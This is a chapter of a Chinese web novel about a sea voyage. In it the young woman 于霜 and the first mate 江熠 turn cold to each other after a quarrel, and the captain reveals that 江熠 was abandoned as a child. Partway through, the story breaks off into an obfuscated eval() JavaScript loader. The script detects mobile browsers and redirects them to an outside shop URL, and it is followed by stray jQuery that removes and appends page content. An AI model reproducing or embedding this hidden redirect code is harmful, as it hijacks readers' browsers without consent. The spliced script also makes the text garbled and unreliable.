他回想起自己最初登上船的样子。
沉默,高效,只做分内之事,与所有人保持着距离,包括这位身份尊贵,行为却有些出格的大小姐。
他记得一开始他是厌恶她来着。
是什么时候开始变了的?
是她不顾危险亲自爬上桅杆调整船帆的时候?
是她面对风暴时眼中非但没有恐惧反而闪烁着兴奋光芒的时候?
还是她一次次固执地坚持那条看似虚无缥缈的小岛,和他内心深处某种不为人知的偏执产生了共鸣的时候?
他模糊地意识到,或许正是她身上不顾一切,打破规则的这股劲儿,吸引了他这种外表冷漠,内里同样潜藏着失控因子的人。
他们的本质是一样的。
但吸引,不代表他可以如此失态。
他刚才的行为简直丑陋得吓人。
江熠抬起手,用力抹了一把脸,恨不得抹去刚才所有失控的痕迹。
他需要冷静,正如她所说。
他不能让自己变成连他自己都鄙夷的样子,他不能让自己内心那个因为被抛弃而始终惶恐不安的孩子,一次次跳出来,毁掉他的一切。
他走到舷窗边,没有拉开厚重的窗帘,只是将额头抵在冰凉的玻璃上,感受着刺骨的凉意穿透皮肤,试图让混乱的大脑清醒过来。
他错了。错得离谱。
不仅失控,逼迫,更示弱绑架。
他一遍遍回放着于霜离开时的眼神,除了冷静,还有失望。
她对他失望了。
他不想让她失望。
他站了很久,直到四肢都有些僵硬。
如果她要冷静,他就等他们都冷静好了,再去处理他们的关系。
他才不要放开她。
–
于霜快步离开江熠的船舱,直到走到相对明亮的地方,才稍稍放缓了脚步。
她登上这艘船,是为了追寻父母的线索,是为了那片未知的海域,而不是为了陷入这种粘稠,消耗精力的情感泥沼。
她需要的是一个可以并肩作战,托付后背的伙伴,而不是一个需要她时时刻刻去安抚情绪,证明真心的伴侣。
她给出的冷静期,既是保护自己的边界,也是给江熠空间。
如果他依然这样偏执下去,那么他们之间的关系,或许真的需要重新评估。
至于珀西瓦尔?
于霜几乎没在这上面耗费心神。
在她看来,那只是一个提供了帮助的旧识,一个能聊几句熟悉话题的,还算愉快的交谈对象。江熠因此产生的醋意,在她看在实在莫名其妙,甚至……有些幼稚。
她欣赏江熠的能力,坚韧,以及和她相似的疯狂。
她不会因为这次冲突就全盘否定江熠,毕竟他依然是这艘船上最不可所缺的人,也是她内心特殊的存在。
但她不会轻易妥协,退回到那种需要不断安抚他,证明自己的被动位置。
接下来,她会将注意力重新拉回到航海本身。
至于江熠会如何反应,是陷入更深的偏执,还是能如她所愿地进行自我审视和调整——她拭目以待。
-
接下来几天,船上都很平静,继续向指定的航向前行。
只是于霜和江熠之间,仿佛竖起了一道坚硬的墙壁。
他们依旧履行着各自的职责,甚至比以往更加高效。
于霜专注于研究海图,观测星象,提出航行建议,江熠则一丝不苟地执行命令,管理船员。两人之间的必要交流简短,清晰,公事公办,没有任何多余的寒暄或眼神交汇。
他们会在每日早上例行的航情会议上并排站在桌子前,讨论着洋流和可能遇到的暗礁。
于霜指着图上的一片标记:“根据近两日的观测和我父亲笔记的记载,我认为我们可以尝试穿过这片涡流区边缘。这条路能让我们缩短至少一天半的航程。”
她的提议很大胆,带着她一贯的冒险风格。
几位老船员有同意有反对,一时间争执不下。
江熠的目光紧紧锁在于霜指尖处,眉头微蹙。他没有立刻反对,而是俯身更仔细地观察图上的水流箭头,又拿起旁边的笔记副本,快速翻看着对应的几页。
片刻后,他抬起头,视线落在于霜脸上:“短期看这样是没错,但是涡流外面,结合最近西南方向传来的不稳定气压报告,强行穿越边缘的风险性极高,这个可以缩短航行时间的通道,极可能被季节性暗流和突然聚集的海雾封锁,一旦陷入,进退两难。”
他的分析有理有据。
于霜顺着他手的方向看去,她之前确实过于聚焦在笔记的线索上,忽略了这些外围的细节和最新的气象关联。
几秒后,她轻轻吸了口气,目光平静地迎上江熠的视线,语气没有任何波澜,坦然承认:
“是我看错了,忽略了外围暗礁和气压变化的关联,多亏副船长指出来。”
她的认错干脆利落,完全就是就事论事的态度。
江熠看着她毫无芥蒂地接受修正,眼底的情绪快速闪过,又很快恢复正常。他微微颌首:“那么,建议维持原定航线,绕过这片区域,虽然要多花些时间,但更为稳妥。”
“同意。”于霜简洁回应,随即便将注意力转向海图上另一条备选航线,开始和老船长讨论起来。
会议结束后,众人陆续离开房间。
于霜整理着桌上的资料,是最后一个。
当她拿起本子准备离开时,一直沉默地站在门边,似乎在检查门轴的江熠,扔过来一条柔软的披肩,于霜眼疾手快地接住。
“夜里甲板上风大,别感冒了。”
于霜没拒绝,认真系上披肩,淡淡回了一句:“知道了,谢谢。”
她没有看他,系好披肩就径直走了出去,脚步声在空旷的走廊里清晰可闻。
江熠又在原地站了片刻,这才转身,盯着她刚才站着的位置,然后沉默地关上灯。
-
两人之间沉默的转变,连最迟钝的船员都察觉到了。
“西蒙小姐和副船长……是不是吵架了?”吉勒趁着擦甲板的空隙,小声问旁边的老水手。
老水手叼着空烟斗,摇了摇头:“西蒙小姐和咱们的副船长,本来就不是一路人,有点摩擦很正常。你做好自己的事,别瞎打听。”
也有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16687210|181538||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
胆大的船员试图缓和气氛。比如在吃饭的时候故意提起两人之前默契配合化解危机的旧事,但于霜只是礼貌笑笑,并不接话,江熠则是直接冷着脸离开。
几次之后,再没人敢多嘴。
当有人小心翼翼地问起他们是否没事时,两人的回答又是出奇的一致。
“没事,继续航行就好。”
“正常。”
几天下来,船员们也都习惯了,一切恢复正常,不再多问。
-
这天下午,于霜再次来到船长的舱室,认真研究着牛皮纸的航向。
根据目前的航速和风向推算,威廉船长带着笑意道:“西蒙小姐,如果一切顺利,我们最多还有一两天就能到达这片海域。”
于霜眼睛瞬间亮了起来,脸上露出了久违的笑。
“太好了,终于……”
老船长看着她发自内心的喜悦,欣慰之余,带着长辈的关切,话锋一转:“对了,你和贝利那孩子……到底怎么了?这几天,大家都在担心你们。”
于霜脸上的笑容淡了下去,她视线重新落回到桌面上。
“没什么,船长,只是有些事情需要想清楚。”
威廉船长叹了口气,他活了大半辈子,见识过许多人和事。
他沉吟片刻,声音压低了些:“贝利那孩子……性子是冷了些,轴了点,但他对你,是真的不同的。”
于霜抿了抿唇,没有打断,但也没有回应。
威廉船长继续缓缓说:“有些事,他大概永远都不会主动和你说。我也是之前从和他在一条船上的老家伙那里听说的。”
“他有没有和你说过,他是从东方来的?”
“嗯。”
船长顿了顿,像是在组织语言,“他小时候,家里的生意垮了,养不起他了,听说有一次父母带他进城,说要给他买糖葫芦,让他等在街口……然后,就再也没有回来。”
于霜呼吸一顿,脑海里想到了那次争吵时江熠说过的话。
难怪,难怪他会让她发誓,难怪他总是叫她别离开。
原来还有这样一段经历。
“那一年他好像才六七岁,一个人在陌生的地方不知道等了多久,后来,他自己摸索着回了家,但他父母都跑了,屋子都空了,他就一个人在村里生存,再大点,进了奴隶船。他能活下来,爬到今天着个位置,不容易。”
于霜沉默地听着,听着船长的回忆,一点一点拼凑出江熠如野草般顽强的人生。
威廉船长看着她没什么表情的侧脸,也不知道她听进去没有,只是补充道:“我不是想让你同情或者是什么,只是他一个人小时收被最亲的人那样扔下,心里总会有点阴影。怕被再次丢下,怕付出感情后自己抽离不出来。”
于霜依旧没有说话,她缓缓将航海图卷好,放回原处。
“我明白了,船长。谢谢您告诉我这些,我先去提前准备靠岸前的事宜了。”她终于开口,听不出什么情绪。
离开了船长舱室,于霜来到甲板,海风拂过她的脸颊,湿润的。
她低着头,不知道在想些什么。
不远处,一个高大的身影默默注视着她。